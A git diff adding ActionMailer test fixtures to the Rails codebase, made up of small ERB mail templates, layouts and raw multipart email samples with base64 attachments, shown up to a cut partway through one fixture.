diff --git a/actionmailer/test/fixtures/base_mailer/inline_attachment.html.erb b/actionmailer/test/fixtures/base_mailer/inline_attachment.html.erb
new file mode 100644
index 0000000..e200878
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/inline_attachment.html.erb
@@ -0,0 +1,5 @@
+<h1>Inline Image</h1>
+
+<%= image_tag attachments['logo.png'].url %>
+
+<p>This is an image that is inline</p>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/inline_attachment.text.erb b/actionmailer/test/fixtures/base_mailer/inline_attachment.text.erb
new file mode 100644
index 0000000..e161d24
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/inline_attachment.text.erb
@@ -0,0 +1,4 @@
+Inline Image
+
+No image for you
+
diff --git a/actionmailer/test/fixtures/base_mailer/plain_text_only.text.erb b/actionmailer/test/fixtures/base_mailer/plain_text_only.text.erb
new file mode 100644
index 0000000..0a90125
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/plain_text_only.text.erb
@@ -0,0 +1 @@
+Testing
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/welcome.erb b/actionmailer/test/fixtures/base_mailer/welcome.erb
new file mode 100644
index 0000000..01f3f00
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/welcome.erb
@@ -0,0 +1 @@
+Welcome
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/welcome_with_headers.html.erb b/actionmailer/test/fixtures/base_mailer/welcome_with_headers.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionmailer/test/fixtures/base_mailer/without_mail_call.erb b/actionmailer/test/fixtures/base_mailer/without_mail_call.erb
new file mode 100644
index 0000000..290379d
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/without_mail_call.erb
@@ -0,0 +1 @@
+<% raise 'the template should not be rendered' %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_test/after_action_mailer/welcome.html.erb b/actionmailer/test/fixtures/base_test/after_action_mailer/welcome.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionmailer/test/fixtures/base_test/before_action_mailer/welcome.html.erb b/actionmailer/test/fixtures/base_test/before_action_mailer/welcome.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionmailer/test/fixtures/base_test/default_inline_attachment_mailer/welcome.html.erb b/actionmailer/test/fixtures/base_test/default_inline_attachment_mailer/welcome.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb b/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb
new file mode 100644
index 0000000..0533a3b
--- /dev/null
+++ b/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb
@@ -0,0 +1 @@
+You logged out
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb b/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb
new file mode 100644
index 0000000..4789e88
--- /dev/null
+++ b/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb
@@ -0,0 +1 @@
+We do not spam
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/first_mailer/share.erb b/actionmailer/test/fixtures/first_mailer/share.erb
new file mode 100644
index 0000000..da43638
--- /dev/null
+++ b/actionmailer/test/fixtures/first_mailer/share.erb
@@ -0,0 +1 @@
+first mail
diff --git a/actionmailer/test/fixtures/i18n_test_mailer/mail_with_i18n_subject.erb b/actionmailer/test/fixtures/i18n_test_mailer/mail_with_i18n_subject.erb
new file mode 100644
index 0000000..f534028
--- /dev/null
+++ b/actionmailer/test/fixtures/i18n_test_mailer/mail_with_i18n_subject.erb
@@ -0,0 +1,4 @@
+Hello there,
+
+Mr. <%= @recipient %>. Be greeted, new member!
+
diff --git a/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb b/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb
new file mode 100644
index 0000000..9322714
--- /dev/null
+++ b/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb
@@ -0,0 +1 @@
+Hello from layout <%= yield %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/layouts/auto_layout_mailer.text.erb b/actionmailer/test/fixtures/layouts/auto_layout_mailer.text.erb
new file mode 100644
index 0000000..111576b
--- /dev/null
+++ b/actionmailer/test/fixtures/layouts/auto_layout_mailer.text.erb
@@ -0,0 +1 @@
+text/plain layout - <%= yield %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/layouts/different_layout.html.erb b/actionmailer/test/fixtures/layouts/different_layout.html.erb
new file mode 100644
index 0000000..99eb026
--- /dev/null
+++ b/actionmailer/test/fixtures/layouts/different_layout.html.erb
@@ -0,0 +1 @@
+HTML -- <%= yield %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/layouts/different_layout.text.erb b/actionmailer/test/fixtures/layouts/different_layout.text.erb
new file mode 100644
index 0000000..b93467b
--- /dev/null
+++ b/actionmailer/test/fixtures/layouts/different_layout.text.erb
@@ -0,0 +1 @@
+PLAIN -- <%= yield %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/layouts/spam.html.erb b/actionmailer/test/fixtures/layouts/spam.html.erb
new file mode 100644
index 0000000..619d6b1
--- /dev/null
+++ b/actionmailer/test/fixtures/layouts/spam.html.erb
@@ -0,0 +1 @@
+Spammer layout <%= yield %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/mail_delivery_test/delivery_mailer/welcome.html.erb b/actionmailer/test/fixtures/mail_delivery_test/delivery_mailer/welcome.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionmailer/test/fixtures/nested_layout_mailer/signup.html.erb b/actionmailer/test/fixtures/nested_layout_mailer/signup.html.erb
new file mode 100644
index 0000000..4789e88
--- /dev/null
+++ b/actionmailer/test/fixtures/nested_layout_mailer/signup.html.erb
@@ -0,0 +1 @@
+We do not spam
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/path.with.dots/funky_path_mailer/multipart_with_template_path_with_dots.erb b/actionmailer/test/fixtures/path.with.dots/funky_path_mailer/multipart_with_template_path_with_dots.erb
new file mode 100644
index 0000000..2d0cd5c
--- /dev/null
+++ b/actionmailer/test/fixtures/path.with.dots/funky_path_mailer/multipart_with_template_path_with_dots.erb
@@ -0,0 +1 @@
+Have some dots. Enjoy!
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/proc_mailer/welcome.html.erb b/actionmailer/test/fixtures/proc_mailer/welcome.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionmailer/test/fixtures/raw_email b/actionmailer/test/fixtures/raw_email
new file mode 100644
index 0000000..43f7a59
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email
@@ -0,0 +1,14 @@
+From jamis_buck at byu.edu Mon May 2 16:07:05 2005
+Mime-Version: 1.0 (Apple Message framework v622)
+Content-Transfer-Encoding: base64
+Message-Id: <d3b8cf8e49f04480850c28713a1f473e at 37signals.com>
+Content-Type: text/plain;
+ charset=EUC-KR;
+ format=flowed
+To: willard15georgina at jamis.backpackit.com
+From: Jamis Buck <jamis at 37signals.com>
+Subject: =?EUC-KR?Q?NOTE:_=C7=D1=B1=B9=B8=BB=B7=CE_=C7=CF=B4=C2_=B0=CD?=
+Date: Mon, 2 May 2005 16:07:05 -0600
+
+tOu6zrrQwMcguLbC+bChwfa3ziwgv+y4rrTCIMfPs6q01MC7ILnPvcC0z7TZLg0KDQrBpiDAzLin
+wLogSmFtaXPA1LTPtNku
diff --git a/actionmailer/test/fixtures/raw_email10 b/actionmailer/test/fixtures/raw_email10
new file mode 100644
index 0000000..edad5cc
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email10
@@ -0,0 +1,20 @@
+Return-Path: <xxx at xxxx.xxx>
+Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
+Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
+Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
+Date: Tue, 10 May 2005 15:27:03 -0500
+From: xxx at xxxx.xxx
+Sender: xxx at xxxx.xxx
+To: xxxxxxxxxxx at xxxx.xxxx.xxx
+Message-Id: <xxx at xxxx.xxx>
+X-Original-To: xxxxxxxxxxx at xxxx.xxxx.xxx
+Delivered-To: xxx at xxxx.xxx
+Importance: normal
+Content-Type: text/plain; charset=X-UNKNOWN
+
+Test test. Hi. Waving. m
+
+----------------------------------------------------------------
+Sent via Bell Mobility's Text Messaging service.
+Envoyé par le service de messagerie texte de Bell Mobilité.
+----------------------------------------------------------------
diff --git a/actionmailer/test/fixtures/raw_email12 b/actionmailer/test/fixtures/raw_email12
new file mode 100644
index 0000000..2cd3172
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email12
@@ -0,0 +1,32 @@
+Mime-Version: 1.0 (Apple Message framework v730)
+Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
+Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012 at example.com>
+From: foo at example.com
+Subject: testing
+Date: Mon, 6 Jun 2005 22:21:22 +0200
+To: blah at example.com
+
+
+--Apple-Mail-13-196941151
+Content-Transfer-Encoding: quoted-printable
+Content-Type: text/plain;
+ charset=ISO-8859-1;
+ delsp=yes;
+ format=flowed
+
+This is the first part.
+
+--Apple-Mail-13-196941151
+Content-Type: image/jpeg
+Content-Transfer-Encoding: base64
+Content-Location: Photo25.jpg
+Content-ID: <qbFGyPQAS8>
+Content-Disposition: inline
+
+jamisSqGSIb3DQEHAqCAMIjamisxCzAJBgUrDgMCGgUAMIAGCSqGSjamisEHAQAAoIIFSjCCBUYw
+ggQujamisQICBD++ukQwDQYJKojamisNAQEFBQAwMTELMAkGA1UEBhMCRjamisAKBgNVBAoTA1RE
+QzEUMBIGjamisxMLVERDIE9DRVMgQ0jamisNMDQwMjI5MTE1OTAxWhcNMDYwMjamisIyOTAxWjCB
+gDELMAkGA1UEjamisEsxKTAnBgNVBAoTIEjamisuIG9yZ2FuaXNhdG9yaXNrIHRpbjamisRuaW5=
+
+--Apple-Mail-13-196941151--
+
diff --git a/actionmailer/test/fixtures/raw_email13 b/actionmailer/test/fixtures/raw_email13
new file mode 100644
index 0000000..7d9314e
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email13
@@ -0,0 +1,29 @@
+Mime-Version: 1.0 (Apple Message framework v730)
+Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
+Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012 at example.com>
+From: foo at example.com
+Subject: testing
+Date: Mon, 6 Jun 2005 22:21:22 +0200
+To: blah at example.com
+
+
+--Apple-Mail-13-196941151
+Content-Transfer-Encoding: quoted-printable
+Content-Type: text/plain;
+ charset=ISO-8859-1;
+ delsp=yes;
+ format=flowed
+
+This is the first part.
+
+--Apple-Mail-13-196941151
+Content-Type: text/x-ruby-script; name="hello.rb"
+Content-Transfer-Encoding: 7bit
+Content-Disposition: attachment;
+ filename="api.rb"
+
+puts "Hello, world!"
+gets
+
+--Apple-Mail-13-196941151--
+
diff --git a/actionmailer/test/fixtures/raw_email2 b/actionmailer/test/fixtures/raw_email2
new file mode 100644
index 0000000..9f87bb2
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email2
@@ -0,0 +1,114 @@
+From xxxxxxxxx.xxxxxxx at gmail.com Sun May 8 19:07:09 2005
+Return-Path: <xxxxxxxxx.xxxxxxx at gmail.com>
+X-Original-To: xxxxx at xxxxx.xxxxxxxxx.com
+Delivered-To: xxxxx at xxxxx.xxxxxxxxx.com
+Received: from localhost (localhost [127.0.0.1])
+ by xxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 06C9DA98D
+ for <xxxxx at xxxxx.xxxxxxxxx.com>; Sun, 8 May 2005 19:09:13 +0000 (GMT)
+Received: from xxxxx.xxxxxxxxx.com ([127.0.0.1])
+ by localhost (xxxxx.xxxxxxxxx.com [127.0.0.1]) (amavisd-new, port 10024)
+ with LMTP id 88783-08 for <xxxxx at xxxxx.xxxxxxxxx.com>;
+ Sun, 8 May 2005 19:09:12 +0000 (GMT)
+Received: from xxxxxxx.xxxxxxxxx.com (xxxxxxx.xxxxxxxxx.com [69.36.39.150])
+ by xxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 10D8BA960
+ for <xxxxx at xxxxxxxxx.org>; Sun, 8 May 2005 19:09:12 +0000 (GMT)
+Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.199])
+ by xxxxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 9EBC4148EAB
+ for <xxxxx at xxxxxxxxx.com>; Sun, 8 May 2005 14:09:11 -0500 (CDT)
+Received: by zproxy.gmail.com with SMTP id 13so1233405nzp
+ for <xxxxx at xxxxxxxxx.com>; Sun, 08 May 2005 12:09:11 -0700 (PDT)
+DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
+ s=beta; d=gmail.com;
+ h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:references;
+ b=cid1mzGEFa3gtRa06oSrrEYfKca2CTKu9sLMkWxjbvCsWMtp9RGEILjUz0L5RySdH5iO661LyNUoHRFQIa57bylAbXM3g2DTEIIKmuASDG3x3rIQ4sHAKpNxP7Pul+mgTaOKBv+spcH7af++QEJ36gHFXD2O/kx9RePs3JNf/K8=
+Received: by 10.36.10.16 with SMTP id 16mr1012493nzj;
+ Sun, 08 May 2005 12:09:11 -0700 (PDT)
+Received: by 10.36.5.10 with HTTP; Sun, 8 May 2005 12:09:11 -0700 (PDT)
+Message-ID: <e85734b90505081209eaaa17b at mail.gmail.com>
+Date: Sun, 8 May 2005 14:09:11 -0500
+From: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx at gmail.com>
+Reply-To: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx at gmail.com>
+To: xxxxx xxxx <xxxxx at xxxxxxxxx.com>
+Subject: Fwd: Signed email causes file attachments
+In-Reply-To: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13 at mac.com>
+Mime-Version: 1.0
+Content-Type: multipart/mixed;
+ boundary="----=_Part_5028_7368284.1115579351471"
+References: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13 at mac.com>
+
+------=_Part_5028_7368284.1115579351471
+Content-Type: text/plain; charset=ISO-8859-1
+Content-Transfer-Encoding: quoted-printable
+Content-Disposition: inline
+
+We should not include these files or vcards as attachments.
+
+---------- Forwarded message ----------
+From: xxxxx xxxxxx <xxxxxxxx at xxx.com>
+Date: May 8, 2005 1:17 PM
+Subject: Signed email causes file attachments
+To: xxxxxxx at xxxxxxxxxx.com
+
+
+Hi,
+
+Just started to use my xxxxxxxx account (to set-up a GTD system,
+natch) and noticed that when I send content via email the signature/
+certificate from my email account gets added as a file (e.g.
+"smime.p7s").
+
+Obviously I can uncheck the signature option in the Mail compose
+window but how often will I remember to do that?
+
+Is there any way these kind of files could be ignored, e.g. via some
+sort of exclusions list?
+
+------=_Part_5028_7368284.1115579351471
+Content-Type: application/pkcs7-signature; name=smime.p7s
+Content-Transfer-Encoding: base64
+Content-Disposition: attachment; filename="smime.p7s"
+
+MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGFDCCAs0w
+ggI2oAMCAQICAw5c+TANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh
+d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt
+YWlsIElzc3VpbmcgQ0EwHhcNMDUwMzI5MDkzOTEwWhcNMDYwMzI5MDkzOTEwWjBCMR8wHQYDVQQD
+ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzbWhhdW5jaEBtYWMuY29t
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn90dPsYS3LjfMY211OSYrDQLzwNYPlAL
+7+/0XA+kdy8/rRnyEHFGwhNCDmg0B6pxC7z3xxJD/8GfCd+IYUUNUQV5m9MkxfP9pTVXZVIYLaBw
+o8xS3A0a1LXealcmlEbJibmKkEaoXci3MhryLgpaa+Kk/sH02SNatDO1vS28bPsibZpcc6deFrla
+hSYnL+PW54mDTGHIcCN2fbx/Y6qspzqmtKaXrv75NBtuy9cB6KzU4j2xXbTkAwz3pRSghJJaAwdp
++yIivAD3vr0kJE3p+Ez34HMh33EXEpFoWcN+MCEQZD9WnmFViMrvfvMXLGVFQfAAcC060eGFSRJ1
+ZQ9UVQIDAQABoy0wKzAbBgNVHREEFDASgRBzbWhhdW5jaEBtYWMuY29tMAwGA1UdEwEB/wQCMAAw
+DQYJKoZIhvcNAQEEBQADgYEAQMrg1n2pXVWteP7BBj+Pk3UfYtbuHb42uHcLJjfjnRlH7AxnSwrd
+L3HED205w3Cq8T7tzVxIjRRLO/ljq0GedSCFBky7eYo1PrXhztGHCTSBhsiWdiyLWxKlOxGAwJc/
+lMMnwqLOdrQcoF/YgbjeaUFOQbUh94w9VDNpWZYCZwcwggM/MIICqKADAgECAgENMA0GCSqGSIb3
+DQEBBQUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlD
+YXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0
+aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwg
+Q0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDMwNzE3
+MDAwMDAwWhcNMTMwNzE2MjM1OTU5WjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENv
+bnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElz
+c3VpbmcgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMSmPFVzVftOucqZWh5owHUEcJ3f
+6f+jHuy9zfVb8hp2vX8MOmHyv1HOAdTlUAow1wJjWiyJFXCO3cnwK4Vaqj9xVsuvPAsH5/EfkTYk
+KhPPK9Xzgnc9A74r/rsYPge/QIACZNenprufZdHFKlSFD0gEf6e20TxhBEAeZBlyYLf7AgMBAAGj
+gZQwgZEwEgYDVR0TAQH/BAgwBgEB/wIBADBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsLnRo
+YXd0ZS5jb20vVGhhd3RlUGVyc29uYWxGcmVlbWFpbENBLmNybDALBgNVHQ8EBAMCAQYwKQYDVR0R
+BCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDItMTM4MA0GCSqGSIb3DQEBBQUAA4GBAEiM
+0VCD6gsuzA2jZqxnD3+vrL7CF6FDlpSdf0whuPg2H6otnzYvwPQcUCCTcDz9reFhYsPZOhl+hLGZ
+GwDFGguCdJ4lUJRix9sncVcljd2pnDmOjCBPZV+V2vf3h9bGCE6u9uo05RAaWzVNd+NWIXiC3CEZ
+Nd4ksdMdRv9dX2VPMYIC5zCCAuMCAQEwaTBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3Rl
+IENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWls
+IElzc3VpbmcgQ0ECAw5c+TAJBgUrDgMCGgUAoIIBUzAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcB
+MBwGCSqGSIb3DQEJBTEPFw0wNTA1MDgxODE3NDZaMCMGCSqGSIb3DQEJBDEWBBQSkG9j6+hB0pKp
+fV9tCi/iP59sNTB4BgkrBgEEAYI3EAQxazBpMGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3
+dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1h
+aWwgSXNzdWluZyBDQQIDDlz5MHoGCyqGSIb3DQEJEAILMWugaTBiMQswCQYDVQQGEwJaQTElMCMG
+A1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNv
+bmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECAw5c+TANBgkqhkiG9w0BAQEFAASCAQAm1GeF7dWfMvrW
+8yMPjkhE+R8D1DsiCoWSCp+5gAQm7lcK7V3KrZh5howfpI3TmCZUbbaMxOH+7aKRKpFemxoBY5Q8
+rnCkbpg/++/+MI01T69hF/rgMmrGcrv2fIYy8EaARLG0xUVFSZHSP+NQSYz0TTmh4cAESHMzY3JA
+nHOoUkuPyl8RXrimY1zn0lceMXlweZRouiPGuPNl1hQKw8P+GhOC5oLlM71UtStnrlk3P9gqX5v7
+Tj7Hx057oVfY8FMevjxGwU3EK5TczHezHbWWgTyum9l2ZQbUQsDJxSniD3BM46C1VcbDLPaotAZ0
+fTYLZizQfm5hcWEbfYVzkSzLAAAAAAAA
+------=_Part_5028_7368284.1115579351471--
+
diff --git a/actionmailer/test/fixtures/raw_email3 b/actionmailer/test/fixtures/raw_email3
new file mode 100644
index 0000000..3a09274
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email3
@@ -0,0 +1,70 @@
+From xxxx at xxxx.com Tue May 10 11:28:07 2005
+Return-Path: <xxxx at xxxx.com>
+X-Original-To: xxxx at xxxx.com
+Delivered-To: xxxx at xxxx.com
+Received: from localhost (localhost [127.0.0.1])
+ by xxx.xxxxx.com (Postfix) with ESMTP id 50FD3A96F
+ for <xxxx at xxxx.com>; Tue, 10 May 2005 17:26:50 +0000 (GMT)
+Received: from xxx.xxxxx.com ([127.0.0.1])
+ by localhost (xxx.xxxxx.com [127.0.0.1]) (amavisd-new, port 10024)
+ with LMTP id 70060-03 for <xxxx at xxxx.com>;
+ Tue, 10 May 2005 17:26:49 +0000 (GMT)
+Received: from xxx.xxxxx.com (xxx.xxxxx.com [69.36.39.150])
+ by xxx.xxxxx.com (Postfix) with ESMTP id 8B957A94B
+ for <xxxx at xxxx.com>; Tue, 10 May 2005 17:26:48 +0000 (GMT)
+Received: from xxx.xxxxx.com (xxx.xxxxx.com [64.233.184.203])
+ by xxx.xxxxx.com (Postfix) with ESMTP id 9972514824C
+ for <xxxx at xxxx.com>; Tue, 10 May 2005 12:26:40 -0500 (CDT)
+Received: by xxx.xxxxx.com with SMTP id 68so1694448wri
+ for <xxxx at xxxx.com>; Tue, 10 May 2005 10:26:40 -0700 (PDT)
+DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
+ s=beta; d=xxxxx.com;
+ h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type;
+ b=g8ZO5ttS6GPEMAz9WxrRk9+9IXBUfQIYsZLL6T88+ECbsXqGIgfGtzJJFn6o9CE3/HMrrIGkN5AisxVFTGXWxWci5YA/7PTVWwPOhJff5BRYQDVNgRKqMl/SMttNrrRElsGJjnD1UyQ/5kQmcBxq2PuZI5Zc47u6CILcuoBcM+A=
+Received: by 10.54.96.19 with SMTP id t19mr621017wrb;
+ Tue, 10 May 2005 10:26:39 -0700 (PDT)
+Received: by 10.54.110.5 with HTTP; Tue, 10 May 2005 10:26:39 -0700 (PDT)
+Message-ID: <xxxx at xxxx.com>
+Date: Tue, 10 May 2005 11:26:39 -0600
+From: Test Tester <xxxx at xxxx.com>
+Reply-To: Test Tester <xxxx at xxxx.com>
+To: xxxx at xxxx.com, xxxx at xxxx.com
+Subject: Another PDF
+Mime-Version: 1.0
+Content-Type: multipart/mixed;
+ boundary="----=_Part_2192_32400445.1115745999735"
+X-Virus-Scanned: amavisd-new at textdrive.com
+
+------=_Part_2192_32400445.1115745999735
+Content-Type: text/plain; charset=ISO-8859-1
+Content-Transfer-Encoding: quoted-printable
+Content-Disposition: inline
+
+Just attaching another PDF, here, to see what the message looks like,
+and to see if I can figure out what is going wrong here.
+
+------=_Part_2192_32400445.1115745999735
+Content-Type: application/pdf; name="broken.pdf"
+Content-Transfer-Encoding: base64
+Content-Disposition: attachment; filename="broken.pdf"
+
+JVBERi0xLjQNCiXk9tzfDQoxIDAgb2JqDQo8PCAvTGVuZ3RoIDIgMCBSDQogICAvRmlsdGVyIC9G
+bGF0ZURlY29kZQ0KPj4NCnN0cmVhbQ0KeJy9Wt2KJbkNvm/od6jrhZxYln9hWEh2p+8HBvICySaE
+ycLuTV4/1ifJ9qnq09NpSBimu76yLUuy/qzqcPz7+em3Ixx/CDc6CsXxs3b5+fvfjr/8cPz6/BRu
+rbfAx/n3739/fuJylJ5u5fjX81OuDr4deK4Bz3z/aDP+8fz0yw8g0Ofq7ktr1Mn+u28rvhy/jVeD
+QSa+9YNKHP/pxjvDNfVAx/m3MFz54FhvTbaseaxiDoN2LeMVMw+yA7RbHSCDzxZuaYB2E1Yay7QU
+x89vz0+tyFDKMlAHK5yqLmnjF+c4RjEiQIUeKwblXMe+AsZjN1J5yGQL5DHpDHksurM81rF6PKab
+gK6zAarIDzIiUY23rJsN9iorAE816aIu6lsgAdQFsuhhkHOUFgVjp2GjMqSewITXNQ27jrMeamkg
+1rPI3iLWG2CIaSBB+V1245YVRICGbbpYKHc2USFDl6M09acQVQYhlwIrkBNLISvXhGlF1wi5FHCw
+wxZkoGNJlVeJCEsqKA+3YAV5AMb6KkeaqEJQmFKKQU8T1pRi2ihE1Y4CDrqoYFFXYjJJOatsyzuI
+8SIlykuxKTMibWK8H1PgEvqYgs4GmQSrEjJAalgGirIhik+p4ZQN9E3ETFPAHE1b8pp1l/0Rc1gl
+fQs0ABWvyoZZzU8VnPXwVVcO9BEsyjEJaO6eBoZRyKGlrKoYoOygA8BGIzgwN3RQ15ouigG5idZQ
+fx2U4Db2CqiLO0WHAZoylGiCAqhniNQjFjQPSkmjwfNTgQ6M1Ih+eWo36wFmjIxDJZiGUBiWsAyR
+xX3EekGOizkGI96Ol9zVZTAivikURhRsHh2E3JhWMpSTZCnnonrLhMCodgrNcgo4uyJUJc6qnVss
+nrGd1Ptr0YwisCOYyIbUwVjV4xBUNLbguSO2YHujonAMJkMdSI7bIw91Akq2AUlMUWGFTMAOamjU
+OvZQCxIkY2pCpMFo/IwLdVLHs6nddwTRrgoVbvLU9eB0G4EMndV0TNoxHbt3JBWwK6hhv3iHfDtF
+yokB302IpEBTnWICde4uYc/1khDbSIkQopO6lcqamGBu1OSE3N5IPSsZX00CkSHRiiyx6HQIShsS
+HSVNswdVsaOUSAWq9aYhDtGDaoG5a3lBGkYt/lFlBFt1UqrYnzVtUpUQnLiZeouKgf1KhRBViRRk
+ExepJCzTwEmFDalIRbLEGtw0gfpESOpIAF/NnpPzcVCG86s0g2DuSyd41uhNGbEgaSrWEXORErbw
+------=_Part_2192_32400445.1115745999735--
+
diff --git a/actionmailer/test/fixtures/raw_email4 b/actionmailer/test/fixtures/raw_email4
new file mode 100644
index 0000000..639ad40
--- /dev/null
+++ b/actionmailer/test/fixtures/raw_email4
@@ -0,0 +1,59 @@
+Return-Path: <xxx at xxxx.xxx>
+Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id 6AAEE3B4D23 for <xxx at xxxx.xxx>; Sun, 8 May 2005 12:30:23 -0500
+Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id j48HUC213279 for <xxx at xxxx.xxx>; Sun, 8 May 2005 12:30:13 -0500
+Received: from conversion-xxx.xxxx.xxx.net by xxx.xxxx.xxx id <0IG600901LQ64I at xxx.xxxx.xxx> for <xxx at xxxx.xxx>; Sun, 8 May 2005 12:30:12 -0500
+Received: from agw1 by xxx.xxxx.xxx with ESMTP id <0IG600JFYLYCAxxx at xxxx.xxx> for <xxx at xxxx.xxx>; Sun, 8 May 2005 12:30:12 -0500
+Date: Sun, 8 May 2005 12:30:08 -0500
+From: xxx at xxxx.xxx
+To: xxx at xxxx.xxx
+Message-Id: <7864245.1115573412626.JavaMxxx at xxxx.xxx>
+Subject: Filth
+Mime-Version: 1.0
+Content-Type: multipart/mixed; boundary=mimepart_427e4cb4ca329_133ae40413c81ef
+X-Mms-Priority: 1
+X-Mms-Transaction-Id: 3198421808-0
+X-Mms-Message-Type: 0
+X-Mms-Sender-Visibility: 1
+X-Mms-Read-Reply: 1
+X-Original-To: xxx at xxxx.xxx
+X-Mms-Message-Class: 0
+X-Mms-Delivery-Report: 0
+X-Mms-Mms-Version: 16
+Delivered-To: xxx at xxxx.xxx
+X-Nokia-Ag-Version: 2.0
+
+This is a multi-part message in MIME format.
+
+--mimepart_427e4cb4ca329_133ae40413c81ef
+Content-Type: multipart/mixed; boundary=mimepart_427e4cb4cbd97_133ae40413c8217
+
+
+
+--mimepart_427e4cb4cbd97_133ae40413c8217
+Content-Type: text/plain; charset=utf-8
+Content-Transfer-Encoding: 7bit
+Content-Disposition: inline
+Content-Location: text.txt
+
+Some text
+
+--mimepart_427e4cb4cbd97_133ae40413c8217--
+
+--mimepart_427e4cb4ca329_133ae40413c81ef
+Content-Type: text/plain; charset=us-ascii
